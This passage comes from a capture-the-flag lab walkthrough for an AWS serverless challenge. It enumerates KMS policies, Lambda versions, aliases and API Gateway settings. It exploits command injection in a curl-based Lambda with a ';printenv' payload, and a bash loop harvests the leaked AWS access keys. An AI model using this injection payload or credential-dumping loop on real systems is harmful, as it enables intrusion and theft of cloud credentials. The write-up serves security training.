  if (! (event.queryStringParameters && event.queryStringParameters.resourceUrl !== null && event.queryStringParameters.username !== null && event.queryStringParameters.password !== null)) {
    const response = {
      'statusCode': 200,
      'body': "One of the required parameter is missing"
    };
    return response;
  }
  resourceUrl = event.queryStringParameters.resourceUrl;
  username = event.queryStringParameters.username;
  password = event.queryStringParameters.password

  let status = "ok"

  var docClient = new AWS.DynamoDB.DocumentClient();

  var params = {
    ProjectionExpression: "username, password",
    FilterExpression: "username = :username AND password = :password",
    ExpressionAttributeValues: {
      ':username': {'S': username},
      ':password': {'S': password}
    },
    TableName: "AllowedUser"
  };
  var result = await dynamodb.scan(params).promise()
  if (result["Count"] !== 0)
  {
    try {
      txt = child_process.execSync(`./bin/curl --silent -L ${resourceUrl}`).toString();
    }
    catch (err) {
      status = "Failed"
    }

    let key = uuid.v4();
    let s3 = new AWS.S3();
    try {
      await s3.putObject({
        Bucket: process.env.BUCKET_NAME,
        Key: key,
        Body: txt,
        ContentType: 'text/html',
        ACL: 'public-read'
      }).promise();
      status = "File Uploaded Successfully"
    } catch (err) {
      status = "File Uploaded Failed"
    }

    const kms = new AWS.KMS();
    try {
      const req = { CiphertextBlob: Buffer.from(process.env['EncryptedServerlessFLAG'], 'base64'), KeyId: process.env['KMSArn'] };
      const data = await kms.decrypt(req).promise();
      let ServerlessFLAG7 = data.Plaintext.toString('ascii');
      //console.log(ServerlessFLAG7)
    } catch (err) {
  }
}

```

```

    } catch (err) {
        console.log('Decrypt error:', err);
        throw err;
    }
}

const response = {
    'statusCode': 200,
    'body': JSON.stringify({"Upload Status":status,"File Content":txt})
};
return response;
};
root@attackdefense:~#

```

The function requires three parameters, resourceUrl, username and password. If the parameters are passed, the function checks whether the username and password is present in DynamoDB "AllowedUser" table. If it is present, it fetches the resource from the provided URL and stores it in the S3 bucket. After that, the Encrypted ServerlessFLAG7 is decrypted.

Even if the function is invoked successfully, the ServerlessFLAG7 is not returned or printed, making it impossible to view the ServerlessFLAG7 directly.

Step 39: Check whether the current user can decrypt the encrypted flag directly.

Commands:

echo

```

AQICAHi7+9ngknhMkz0sb+LYfPQqw3Oupegu4Y5dggMw9JThIQEsuEXoJgp7K5CCZmy4DGH
aAAAAfjB8BgkqhkiG9w0BBWagbzBtAgEAMGgGCSqGSIb3DQEHATAeBglgghkgBZQMEAS4wE
QQMdjbjfhorkb6HMIG4AgEQgDuwWQVNCIcMu1GQgZdJUj/RG/4vaFEdT8wfRKWEWTZz84O
M443vrn41/Qy5qypysm+3729SJ7sCjOfuGg== | base64 -d > cipherblob

```

```
aws kms decrypt --ciphertext-blob fileb://cipherblob
```

```

root@attackdefense:~#
root@attackdefense:~# echo AQICAHi7+9ngknhMkz0sb+LYfPQqw3Oupegu4Y5dggMw9JThIQEsuEXoJgp7K5CCZmy4DGHAAAAfjB8BgkqhkiG9w0BBWagbzBtAgEAMGgGCSqGSIb3DQEHATAeBglgghkgBZQMEAS4wEQQMdjbjfhorkb6HMIG4AgEQgDuwWQVNCIcMu1GQgZdJUj/RG/4vaFEdT8wfRKWEWTZz84OM443vrn41/Qy5qypysm+3729SJ7sCjOfuGg== | base64 -d > cipherblob
root@attackdefense:~#
root@attackdefense:~# aws kms decrypt --ciphertext-blob fileb://cipherblob

```

An error occurred (AccessDeniedException) when calling the Decrypt operation: The ciphertext refers to a customer master key that does not exist, does not exist in this region, or you are not allowed to access.

```
root@attackdefense:~#
```

The current user cannot decrypt the cipher.

Step 40: Check who can perform decrypt operation using the KMS key. List the KMS keys.

The KMS key ARN was:

arn:aws:kms:ap-southeast-1:276384657722:key/42ff3c24-70f3-42bd-96db-d69792ec1b37

Command: aws kms list-keys

```
root@attackdefense:~# aws kms list-keys
{
  "Keys": [
    {
      "KeyId": "42ff3c24-70f3-42bd-96db-d69792ec1b37",
      "KeyArn": "arn:aws:kms:ap-southeast-1:276384657722:key/42ff3c24-70f3-42bd-96db-d69792ec1b37"
    },
    {
      "KeyId": "7c98f406-6619-4155-9d3e-78c5c3d01be6",
      "KeyArn": "arn:aws:kms:ap-southeast-1:276384657722:key/7c98f406-6619-4155-9d3e-78c5c3d01be6"
    },
    {
      "KeyId": "bd05af12-c093-44a4-959e-af1070891850",
      "KeyArn": "arn:aws:kms:ap-southeast-1:276384657722:key/bd05af12-c093-44a4-959e-af1070891850"
    },
    {
      "KeyId": "e7a2b4dd-dfa7-496c-8ac9-df1c480114c9",
      "KeyArn": "arn:aws:kms:ap-southeast-1:276384657722:key/e7a2b4dd-dfa7-496c-8ac9-df1c480114c9"
    },
    {
      "KeyId": "ee67cfd9-aa44-4e99-93be-2e1e54889224",
      "KeyArn": "arn:aws:kms:ap-southeast-1:276384657722:key/ee67cfd9-aa44-4e99-93be-2e1e54889224"
    }
  ]
}
```

The key id of the key is 42ff3c24-70f3-42bd-96db-d69792ec1b37

Step 41: Retrieve the default policy associated with the key.

Command: aws kms get-key-policy --key-id 42ff3c24-70f3-42bd-96db-d69792ec1b37
--policy-name default

```
root@attackdefense:~# aws kms get-key-policy --key-id 42ff3c24-70f3-42bd-96db-d69792ec1b37 --policy-name default
{
  "Policy": "{\n  \"Version\": \"2012-10-17\",\n  \"Id\": \"key-consolepolicy-3\",\n  \"Statement\": [\n    {\n      \"Sid\": \"Enable IAM User Permissions\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam:276384657722:root\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    },\n    {\n      \"Sid\": \"Allow access for Key Administrators\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam:276384657722:role/Service-role/FileUploader-role-l5d0qcpv\"\n      },\n      \"Action\": [\"kms:DescribeKey\", \"kms:ListKeys\", \"kms:Decrypt\"],\n      \"Resource\": \"*\"\n    }\n  ]\n}"
}
```

Step 42: Beautify the output generated in the previous step.

Command: `aws kms get-key-policy --key-id 42ff3c24-70f3-42bd-96db-d69792ec1b37 --policy-name default --output text | python3 -m json.tool`

```
root@attackdefense:~# aws kms get-key-policy --key-id 42ff3c24-70f3-42bd-96db-d69792ec1b37 --policy-name default --output text | python3 -m json.tool
{
  "Version": "2012-10-17",
  "Id": "key-consolepolicy-3",
  "Statement": [
    {
      "Sid": "Enable IAM User Permissions",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::276384657722:root"
      },
      "Action": "kms:*",
      "Resource": "*"
    },
    {
      "Sid": "Allow access for Key Administrators",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::276384657722:role/service-role/FileUploader-role-l5d0qcpv"
      },
      "Action": [
        "kms:Describe*",
        "kms:List*",
        "kms:Get*",
        "kms:Decrypt"
      ],
      "Resource": "*"
    }
  ]
}
```

root@attackdefense:~#

The KMS key can only be used by either the root user or the role associated with the Lambda function.

Step 43: In order to decrypt the encrypted flag, the lambda function will have to be exploited so that the Access Key and Secret of the role can be used to decrypt the flag. Check whether there are different versions of the lambda function.

Command: `aws lambda list-versions-by-function --function-name FileUploader`

```

root@attackdefense:~# aws lambda list-versions-by-function --function-name FileUploader
{
  "Versions": [
    {
      "FunctionName": "FileUploader",
      "FunctionArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:FileUploader:$LATEST",
      "Runtime": "nodejs12.x",
      "Role": "arn:aws:iam::276384657722:role/service-role/FileUploader-role-l5d0qcpv",
      "Handler": "index.handler",
      "CodeSize": 2496420,
      "Description": "",
      "Timeout": 3,
      "MemorySize": 128,
      "LastModified": "2020-11-06T00:22:11.016+0000",
      "CodeSha256": "jgQzHUfD1GhOfv9ghG4nYXqqLNBn06L0JWB5ppVKt8=",
      "Version": "$LATEST",
      "Environment": {
        "Variables": {
          "KMSArn": "arn:aws:kms:ap-southeast-1:276384657722:key/42ff3c24-70f3-42bd-96db-d69792ec1b37",
          "EncryptedServerlessFLAG7": "AQICAHi7+9ngknHmkz0sb+LYfPQqw3Oupegu4Y5dggMw9JThIQEsuEXoJgp7K5CCZmy4DGHAA
AAfjB8BgkqhkiG9w0BBwagbzBtAgEAMGgGCSqGSIb3DQEHAaEAgBglghkgBZQMEAS4wEQQMdjbj fhorKb6HMIG4AgEQgDuwWQVNC LcMu1GQgZdJUj /RG/4vaFedT
8wfRKWEWTZz84OM443vrn41/Qy5qypysm+3729SJ7sCjOfuGg==",
          "BUCKET_NAME": "file-uploader-saved-files"
        }
      },
      "TracingConfig": {
        "Mode": "PassThrough"
      },
      "RevisionId": "5861d192-3ecb-4d19-bfd2-5c43d76617a7",
      "Layers": [
        {
          "Arn": "arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:4",
          "CodeSize": 20563
        }
      ]
    },
    {
      "FunctionName": "FileUploader",
      "FunctionArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:FileUploader:1",
      "Runtime": "nodejs12.x",
      "Role": "arn:aws:iam::276384657722:role/service-role/FileUploader-role-l5d0qcpv",
      "Handler": "index.handler",
      "CodeSize": 2500321,
      "Description": "Beta Version",
      "Timeout": 3,
      "MemorySize": 128,
      "LastModified": "2020-11-06T00:20:43.547+0000",
      "CodeSha256": "uOD7+bzGFf4X/Pjd1vVLmthvdDqUqU4+ea4mO+7/SRg=",
      "Version": "1",
      "Environment": {
        "Variables": {
          "KMSArn": "arn:aws:kms:ap-southeast-1:276384657722:key/42ff3c24-70f3-42bd-96db-d69792ec1b37",
          "EncryptedServerlessFLAG7": "AQICAHi7+9ngknHmkz0sb+LYfPQqw3Oupegu4Y5dggMw9JThIQEsuEXoJgp7K5CCZmy4DGHAA
AAfjB8BgkqhkiG9w0BBwagbzBtAgEAMGgGCSqGSIb3DQEHAaEAgBglghkgBZQMEAS4wEQQMdjbj fhorKb6HMIG4AgEQgDuwWQVNC LcMu1GQgZdJUj /RG/4vaFedT
8wfRKWEWTZz84OM443vrn41/Qy5qypysm+3729SJ7sCjOfuGg==",
          "BUCKET_NAME": "file-uploader-saved-files"
        }
      },
      "TracingConfig": {
        "Mode": "PassThrough"
      },
      "RevisionId": "5c56866e-cbd5-4a7d-a7b0-501637c5da93",
      "Layers": [
        {
          "Arn": "arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:4",
          "CodeSize": 20563
        }
      ]
    }
  ],
}

```



```
{
  "FunctionName": "FileUploader",
  "FunctionArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:FileUploader:2",
  "Runtime": "nodejs12.x",
  "Role": "arn:aws:iam::276384657722:role/service-role/FileUploader-role-l5d0qcpv",
  "Handler": "index.handler",
  "CodeSize": 2496420,
  "Description": "Bug Fix",
  "Timeout": 3,
  "MemorySize": 128,
  "LastModified": "2020-11-06T00:22:11.016+0000",
  "CodeSha256": "jgQzHUId1GhOfv9ghG4nYXqQLNBn06L0JB5ppVKt8=",
  "Version": "2",
  "Environment": {
    "Variables": {
      "KMSArn": "arn:aws:kms:ap-southeast-1:276384657722:key/42ff3c24-70f3-42bd-96db-d69792ec1b37",
      "EncryptedServerlessFLAG7": "AQICAHi7+9ngknHmkz0sb+LYfPQqw30upegu4Y5dqqMw9JThIQEsuEXoJgp7K5CCZmy4DGHAA
AAfjB8BgkqhkiG9w0BBwagbzBtAgEAMGgGCSqGSIb3DQEHATAeBglgghkgBZQMEAS4wEQQMdjbjfhorKb6HMIg4AgEQgDuwWQVNC1cMu1GQgZdJUj/RG/4vaFeDt
8wFRKWEWTZz840M443vrn41/Qy5qypsym+3729SJ7sCj0fuGg=",
      "BUCKET_NAME": "file-uploader-saved-files"
    }
  },
  "TracingConfig": {
    "Mode": "PassThrough"
  },
  "RevisionId": "991e5cb1-b077-4e53-838a-95f5f2ddeb9",
  "Layers": [
    {
      "Arn": "arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:4",
      "CodeSize": 20563
    }
  ]
}
```

There are three versions of FileUploader Function, the \$LATEST and version 2 are the same (CodeSha256 is same), version 1 is different.

Step 44: Retrieve the source of the first version of FileUploader Function.

Command: `aws lambda get-function --function-name FileUploader:1`

```
root@attackdefense:~# aws lambda get-function --function-name FileUploader:1
{
  "Configuration": {
    "FunctionName": "FileUploader",
    "FunctionArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:FileUploader:1",
    "Runtime": "nodejs12.x",
    "Role": "arn:aws:iam::276384657722:role/service-role/FileUploader-role-l5d0qcpv",
    "Handler": "index.handler",
    "CodeSize": 2500321,
    "Description": "Beta Version",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2020-11-06T00:20:43.547+0000",
    "CodeSha256": "uOD7+bzGFf4X/Pjd1vLmthvdDqUqU4+ea4m0+7/SRg=",
    "Version": "1",

```

```

"Environment": {
  "Variables": {
    "KMSArn": "arn:aws:kms:ap-southeast-1:276384657722:key/42ff3c24-70f3-42bd-96db-d6792ec1b37",
    "EncryptedServerlessFLAG7": "AQICAHi7+9ngknhMkz0sb+LYfPQqw30upegu4Y5dqqMw9JThIQEsuEXoJgp7K5CCZmy4DGHAAAAfjB8BgkqhkiG9w0BBwagbzBtAgEAMGgGCSqGSIb3DQEHATAeBglgghkgBZQMEAS4wEQQMdjbjfhorkb6HMIIG4AgEQgDuwWQVNClcMu1GQgZdJUj/RG/4vaFEdT8wfrKWEWTZz840M443vrn41/Qy5qypsym+3729SJ7sCj0fuGg==",
    "BUCKET_NAME": "file-uploader-saved-files"
  }
},
"TracingConfig": {
  "Mode": "PassThrough"
},
"RevisionId": "5c56866e-cbd5-4a7d-a7b0-501637c5da93",
"Layers": [
  {
    "Arn": "arn:aws:lambda:ap-southeast-1:276384657722:layer:FileUploaderLayer:4",
    "CodeSize": 20563
  }
],
"State": "Active",
"LastUpdateStatus": "Successful"
},
"Code": {
  "RepositoryType": "S3",
  "Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/276384657722/FileUploader-c93e3cc5-0426-4191-9757-642d5eb553ba?versionId=A2TvbohAEbVI7BC2ArcPuuKWi80edAQ4&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEAYaDmFwLXNvdXRoZWZkdC0xIkgwRgIhAKnJ9gZPxDQgc6XjdzbwNlHt2kzHwTN3S7XLPsDxEx2AiEAt0QeHvynLaEqFD1xDh50jX6zuDZh4TvP0zMDfjyud0UqvGMibhADGgwy0TUzMzg3MDM1ODMiDHvfDo7AIh%2FhQyrXXyqbA6%2Bk6pDZpv5rHI1SbwDtEhhh9YafLP%2BNh6Iz%2F2cDHMSujsfZwc6qVpegk3OVdSV%2FBB2QtoKUZuDAjRRUsHYp6Q3xpqcRoztWweqXGcLLfgA%2FZp10Jm3gbIengni%2FHiQ1%2BH6QH5Oov6lvbaR6XSIV1yFQwSuBbMsbkuWiVni%2FS3pp4N6yWwE6EBiyOApFagBAx8bu7l8QpCLvSja8hN848Lb%2B0E3WVQDRHjdwe9Azaa0HwfVc1NDRcXXTmOGes7WNqHHlgNu71nI7wBixHRT2YYUTXRqSWyV2Kf66Hw05ctmmcLpG86yx5RpUXwC%2B0j%2Fgk4r0vzKhJ2F72AOam3urIHmgQf5wrZtVEyyugisQGxomFuEiAM3lgbn0SvVecoNcWuyEwOPSUZARxG08tz2B%2BA0sltkD9BZgcMBPxCPcABMnVYdC6DDNDuGTLXtPWzalFD1NGWHgkE2F6MhsUIxX%2FVUTlx6Cb5BfYxJmncuJgw%2FN1Q%2FcZhXoApjujwzha4LUGwgB%2FcdWwLRqSNAD9fawBNuGln1uZJAenzDIy6j9BTRqAFuXothe%2Bbn1GCGAI8GUSDGR2tTSbismAesX9yad7Uz%2BqeQz%2FNlr0W8HsFqSfkhBX27e98E4pigGTpShrhPttYLZxt8IFU9vheWLAegxKRiDaYfFv7yI%2BENZ%2FZjcLnekdwVPg9k%2B8xSdo2ha669gFCa5swuVaoOfCwA7XB5fVdJUrW6q9srpIQ%2FMGLCW7q30QWnqbboUrUhnPpF9ML2Adr8HExBTSy2weC93%2ByjCYtb6xkXm0GR5JYg89TLoESLMyiwytytp%2BVLm9C76Dv85M0E4wJVd3A6ItUlonG%2FDnMq6PKUGJoy0t7g%3D%3D&X-Amz-AL"

```

The Link to download the source code is present in the Location Attribute of Code section.

Step 45: Download the source archive. Either click on the link or use the command mentioned below.

Note: The below given command requires the jq package.

Commands:

```
mkdir v1
```

```
cd v1
```

```
wget "$(aws lambda get-function --function-name FileUploader:1 | jq .Code.Location -r)" -O source.zip
```



```

root@attackdefense:~# mkdir v1
root@attackdefense:~# cd v1/
root@attackdefense:~/v1#
root@attackdefense:~/v1# wget "$(aws lambda get-function --function-name FileUploader:1 | jq .Code.Location -r)" -O source.zip
--2020-11-10 06:36:08-- https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/276384657722/FileUpload
r-c93e3cc5-0426-4191-9757-642d5eb553ba?versionId=A2Tvb0hAEbVI7BC2ArcPuuKWi80edAQ4&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEAYa
DmFwLXNvdXRoZWZdc0xIkYwRAIgAR9os8ZNdSrX0PPnkHhRPSurrGHl9WW%2FnZSQA4j33q4CIAQmQBM5o915wm1ACTkPRhQG9hGMcWUua2o64z976QckKr4DC
G4QAxoMMjk1MzM4NzAzNtGzIgwXJXoGKwQj3gOWGZEQmwPhYwF3akXz7%2BB3HFR7yfdJeiivbpzjkYL8BWh8NPU7di%2BeC0TypvJ7jdgjQcbWx%2FGIPFPoe7
WfvwWzmJMSfcM4WsdA130GzycPK3WE45c0sY0cP%2FkfercGYFPgtVG7LoGsWFm7q0XE8bK%2F5tkdNVjLH3oG1KFb4fLPeDao%2FI1I5kXvRBWGptEQFb9%2Fa
GVJuLEPAV6r8REPz%2B0pcm6Z2fw5H0M5qWe%2FPMwd%2BwH%2BLz%2Fd9wc7q%2F8A40h3JiFTL18De0i%2BaUYX3bZLvA6EEbAEEmztEhpkp90PcEhxi7x2otS
Zm5ZVBC0jDM8E4127twcyZHN9n6o5WBc9yKZ5bygMrht9kaXw99F17EtoE9mLHSihU1%2FaBnjqiFbBIUuc02K0Px9YfiIH80o0%2F70z3%2BFvMShimZessG%2
Bxvt4Q3PT1Hv9VxjDUVUpgrGUUNBZzvJkgbLFiWdjXYFT5M6hwE438UlexZmahnlQv3v5R1%2F01qMdwQtw7BwQBp8RaEW501BPi%2BTEBJdzhiXY9Z0%2BAwBN
1%2BCvPHq5u2%2FEjpP6pMBcswsNio%2FQU67AFcUnz%2FM0daK%2FqpQxIZT1tV5TvcGrJg%2FCaWmtHz3J9HZuK4Z1m010HoI5xCLV6LCwbH%2FEIJbJjgoh5
69aCCiKh7p7oetED%2BgsPFuUNBLVJ5P41newtZQ07BhG18RFZdjMZ2DE1AhKBB6c%2F%2BiyTEbX9%2FfgwizUifjjsU8SQjf7fFHMwFF4Y0uc2ZbM10nuLxn
VUUH3mnG7TCrusXvTl%2FeB09kyr4hmSYwd6ftI2Jj0BVHEFawJq%2BTIBrQt9nVlaV6c3SsJNXyzpnHUVW81l8%2FZudYF7BExrZNI0fLGvYvAh%2FMU6YiaCCg
G7DMmQdUg%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20201110T063608Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-A
mz-Credential=ASIAUJQ407LP5X2FLE56%2F20201110%2Fap-southeast-1%2Ffs3%2Faws4_request&X-Amz-Signature=68cf11a57ddc1c34306c7a9e
c4297c0039d3f11b65b002eb8df72e15287f7655
Resolving awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com)
... 52.219.40.91
Connecting to awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.
com)|52.219.40.91|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2500321 (2.4M) [application/zip]
Saving to: 'source.zip'

source.zip          100%[=====>] 2.38M  5.67MB/s  in 0.4s

2020-11-10 06:36:09 (5.67 MB/s) - 'source.zip' saved [2500321/2500321]

root@attackdefense:~/v1#

```

Step 46: Extract the archive.

Command: unzip source.zip

```

root@attackdefense:~/v1# unzip source.zip
Archive: source.zip
  creating: bin/
  inflating: bin/catdoc
  inflating: bin/xls2csv
  inflating: bin/curl
  creating: bin/charsets/
  inflating: bin/charsets/cp863.txt
  extracting: bin/charsets/.cvsignore
  inflating: bin/charsets/mac-cyrillic.txt
  inflating: bin/charsets/cp874.txt
  inflating: bin/charsets/cp865.txt
  inflating: bin/charsets/ascii.specchars
  inflating: bin/charsets/cp866.txt
  inflating: bin/charsets/us-ascii.txt
  inflating: bin/charsets/cp860.txt
  inflating: bin/charsets/cp861.txt
  inflating: bin/charsets/cp852.txt

```



```
inflating: bin/catppt
  creating: lib/
inflating: lib/libcurl.so.4
inflating: lib/libssh2.so.1
inflating: lib/libssl3.so
inflating: lib/libldap-2.4.so.2
inflating: lib/libnghttp2.so.14
inflating: lib/libmime3.so
inflating: lib/liblber-2.4.so.2
inflating: lib/libidn2.so.0
inflating: lib/libnss3.so
inflating: lib/libmetalink.so.3
inflating: lib/libsassl2.so.3
inflating: lib/libcrypt.so.1
inflating: lib/libexpat.so.1
inflating: lib/libunistring.so.0
inflating: index.js
root@attackdefense:~/v1#
```

Step 47: View the index.js file.

Command: cat index.js

```
root@attackdefense:~/v1# cat index.js
const child_process = require('child_process');
const uuid = require('node-uuid');
const AWS = require('aws-sdk');

AWS.config.update({ region: 'ap-southeast-1' });
var dynamodb = new AWS.DynamoDB();

exports.handler = async (event) => {
  let resourceUrl, username, password, txt;
  if (! (event.queryStringParameters && event.queryStringParameters.resourceUrl !== null && event.queryStringParameters.username !== null && event.queryStringParameters.password !== null)) {
    const response = {
      'statusCode': 200,
      'body': "One of the required parameter is missing"
    };
    return response;
  }
  resourceUrl = event.queryStringParameters.resourceUrl;
  username = event.queryStringParameters.username;
  password = event.queryStringParameters.password

  let status = "ok"
  try {
    txt = child_process.execSync(`./bin/curl --silent -L ${resourceUrl}`).toString();
  }
  catch (err) {
    status = "Failed"
  }

  var docClient = new AWS.DynamoDB.DocumentClient();
```

```

var params = {
  ProjectionExpression: "username, password",
  FilterExpression: "username = :username AND password = :password",
  ExpressionAttributeValues: {
    ':username': {'S': username},
    ':password': {'S': password}
  },
  TableName: "AllowedUser"
};
var result = await dynamodb.scan(params).promise()
if (result["Count"]!=0)
{
    let key = uuid.v4();
    let s3 = new AWS.S3();
    let status="Ok"
    try {

        await s3.putObject({
            Bucket: process.env.BUCKET_NAME,
            Key: key,
            Body: txt,
            ContentType: 'text/html',
            ACL: 'public-read'
        }).promise();
        status="File Uploaded Successfully"
    } catch (err) {
        status="File Uploaded Failed"
    }

    const kms = new AWS.KMS();
    try {
        const req = { CiphertextBlob: Buffer.from(process.env['EncryptedServerlessFLAG'], 'base64'),KeyId: process.env['KMSArn']};
        const data = await kms.decrypt(req).promise();
        let ServerlessFLAG7 = data.Plaintext.toString('ascii');

        //console.log(ServerlessFLAG7)
    } catch (err) {
        console.log('Decrypt error:', err);
        throw err;
    }

}

const response = {
  'statusCode': 200,
  'body': JSON.stringify({"Upload Status":status,"File Content":txt})
};
return response;
};
root@attackdefense:~/v1#

```

The difference between the two versions of FileUploader function is that the first version of FileUploader function uses curl command before checking whether the username and password are in the "AllowedUser" table. Since the resourceUrl is concatenated to the string and is passed to the child_process.execSync function, the first version of the lambda function is vulnerable to command injection attack.

Upon passing the following value in resourceUrl:

Value: www.pentesteracademy.com;printenv

The command which is to be executed becomes: `./bin/curl --silent -L www.pentesteracademy.com;printenv`, therefore two commands are executed.

Command 1: `./bin/curl --silent -L www.pentesteracademy.com`

Command 2: `printenv`

The second command will dump out the environment variable which includes the Access Key and Secret.

Step 48: Identify a way to invoke the first version of lambda function. Check if there is an alias for the function.

Command: `aws lambda list-aliases --function-name FileUploader`

```
root@attackdefense:~# aws lambda list-aliases --function-name FileUploader
{
  "Aliases": [
    {
      "AliasArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:FileUploader:default",
      "Name": "default",
      "FunctionVersion": "2",
      "Description": "",
      "RoutingConfig": {
        "AdditionalVersionWeights": {
          "1": 0.08
        }
      },
      "RevisionId": "d6d1bb43-0810-44b7-abcf-13ddb47ace9c"
    }
  ]
}
```

root@attackdefense:~#

There is an alias for the FileUploader Function, the name of the alias is "default". Additional Version weights are mentioned which results in alias routing. 92% of the traffic is routed to version 2 of the FileUploader function. 8% of the traffic is routed to version 1 of FileUploader function.

Step 49: Identify the invocation URL which is used to invoke the "default" alias of the FileUploader function.

Command: aws apigateway get-rest-apis

```
root@attackdefense:~# aws apigateway get-rest-apis
{
  "items": [
    {
      "id": "43iqo53xr7",
      "name": "my-serverless-flag-api",
      "description": "API to call my-serverless Lambda Function",
      "createdDate": 1604609434,
      "apiKeySource": "HEADER",
      "endpointConfiguration": {
        "types": [
          "REGIONAL"
        ]
      },
      "disableExecuteApiEndpoint": false
    },
    {
      "id": "cwlw44ht84",
      "name": "image-uploader",
      "createdDate": 1603989319,
      "version": "1.0",
      "binaryMediaTypes": [
        "*/*"
      ],
      "apiKeySource": "HEADER",
      "endpointConfiguration": {
        "types": [
          "EDGE"
        ]
      },
      "disableExecuteApiEndpoint": false
    },
    {
      "id": "wg5kfymi4",
      "name": "create-user-api",
      "createdDate": 1604629442,
      "apiKeySource": "HEADER",
      "endpointConfiguration": {
        "types": [
          "REGIONAL"
        ]
      },
      "disableExecuteApiEndpoint": false
    }
  ],
}
```

```

{
  "id": "x5a88cfb22",
  "name": "file-uploader-api",
  "createdDate": 1604622290,
  "apiKeySource": "HEADER",
  "endpointConfiguration": {
    "types": [
      "EDGE"
    ]
  },
  "disableExecuteApiEndpoint": false
}
]
}
root@attackdefense:~#

```

There is an api named "file-uploader-api", it is possible that the api invokes the file-uploader function.

Step 50: Get the resources of the rest api with id "x5a88cfb22".

Command: `aws apigateway get-resources --rest-api-id x5a88cfb22`

```

root@attackdefense:~# aws apigateway get-resources --rest-api-id x5a88cfb22
{
  "items": [
    {
      "id": "9nbx6b3tn7",
      "path": "/"
    },
    {
      "id": "uoz284",
      "parentId": "9nbx6b3tn7",
      "pathPart": "v1",
      "path": "/v1",
      "resourceMethods": {
        "GET": {}
      }
    }
  ]
}
root@attackdefense:~#

```

The resource id is uoz284.

Step 51: Retrieve the method information for the above resource and the POST method:

Command: `aws apigateway get-method --rest-api-id x5a88cfb22 --resource-id uoz284 --http-method GET`

```
root@attackdefense:~# aws apigateway get-method --rest-api-id x5a88cfb22 --resource-id uoz284 --http-method GET
{
  "httpMethod": "GET",
  "authorizationType": "NONE",
  "apiKeyRequired": false,
  "requestParameters": {},
  "methodResponses": {
    "200": {
      "statusCode": "200",
      "responseModels": {
        "application/json": "Empty"
      }
    }
  },
  "methodIntegration": {
    "type": "AWS_PROXY",
    "httpMethod": "POST",
    "uri": "arn:aws:apigateway:ap-southeast-1:lambda:path/2015-03-31/functions/arn:aws:lambda:ap-southeast-1:2763846577
22:function:FileUploader:default/invocations",
    "passthroughBehavior": "WHEN_NO_MATCH",
    "contentHandling": "CONVERT_TO_TEXT",
    "timeoutInMillis": 29000,
    "cacheNamespace": "uoz284",
    "cacheKeyParameters": [],
    "integrationResponses": {
      "200": {
        "statusCode": "200",
        "responseTemplates": {
          "application/json": null
        }
      }
    }
  }
}
```

root@attackdefense:~#

The resource "v1" invokes the "default" alias of the "FileUploader" function.

Step 52: List the stages of the rest api with id "x5a88cfb22".

Command: `aws apigateway get-stages --rest-api-id x5a88cfb22`


```
root@attackdefense:~# aws apigateway get-stages --rest-api-id x5a88cfb22
{
  "item": [
    {
      "deploymentId": "bd17k5",
      "stageName": "default",
      "cacheClusterEnabled": false,
      "cacheClusterStatus": "NOT_AVAILABLE",
      "methodSettings": {},
      "tracingEnabled": false,
      "createdDate": 1604622360,
      "lastUpdatedDate": 1604622360
    }
  ]
}
root@attackdefense:~#
```

There is one stage named "default" for the rest API. Based on the stages, resource and the region, the invocation URL can be formulated.

Stage: default

Resource: v1

Region: ap-southeast-1

Invocation URL: <https://x5a88cfb22.execute-api.ap-southeast-1.amazonaws.com/default/v1>

Method: GET

Parameter (Identified from the lambda function): resourceUrl, username and password

Curl Command: curl

"<https://x5a88cfb22.execute-api.ap-southeast-1.amazonaws.com/default/v1?resourceUrl=www.pentesteracademy.com;printenv&username=welcome&password=welcome>"

Step 53: Send the curl command and check the received response.

Command: curl

"<https://x5a88cfb22.execute-api.ap-southeast-1.amazonaws.com/default/v1?resourceUrl=www.pentesteracademy.com;printenv&username=welcome&password=welcome>"

```

root@attackdefense:~# curl "https://x5a88cfb22.execute-api.ap-southeast-1.amazonaws.com/default/v1?resourceUrl=www.pentesteracademy.com;printenv&username=welcome&password=welcome"
{"Upload Status":"ok"}root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# curl "https://x5a88cfb22.execute-api.ap-southeast-1.amazonaws.com/default/v1?resourceUrl=www.pentesteracademy.com;printenv&username=welcome&password=welcome"
{"Upload Status":"ok"}root@attackdefense:~#
root@attackdefense:~#

```

Step 54: Write a wrapper script to send multiple curl requests and look for responses which deviate from the previous response. If the command injection attack is successful, version 1 of FileUploader Function will return more data.

Note: The below-given script depends upon the jq package.

Script:

```

#!/bin/bash

for i in {1..100}
do
    output=$(curl
'https://x5a88cfb22.execute-api.ap-southeast-1.amazonaws.com/default/v1/?resourceurl=www.p
entesteracademy.com%3Bprintenv&username=welcome&password=welcome' -s)
    if [ $(echo $output | grep '{"Upload Status":"ok"}' | wc -l) -eq 0 ];
    then
        echo $output | jq '"File Content"' -r | grep AWS
        break
    fi
done

```

```

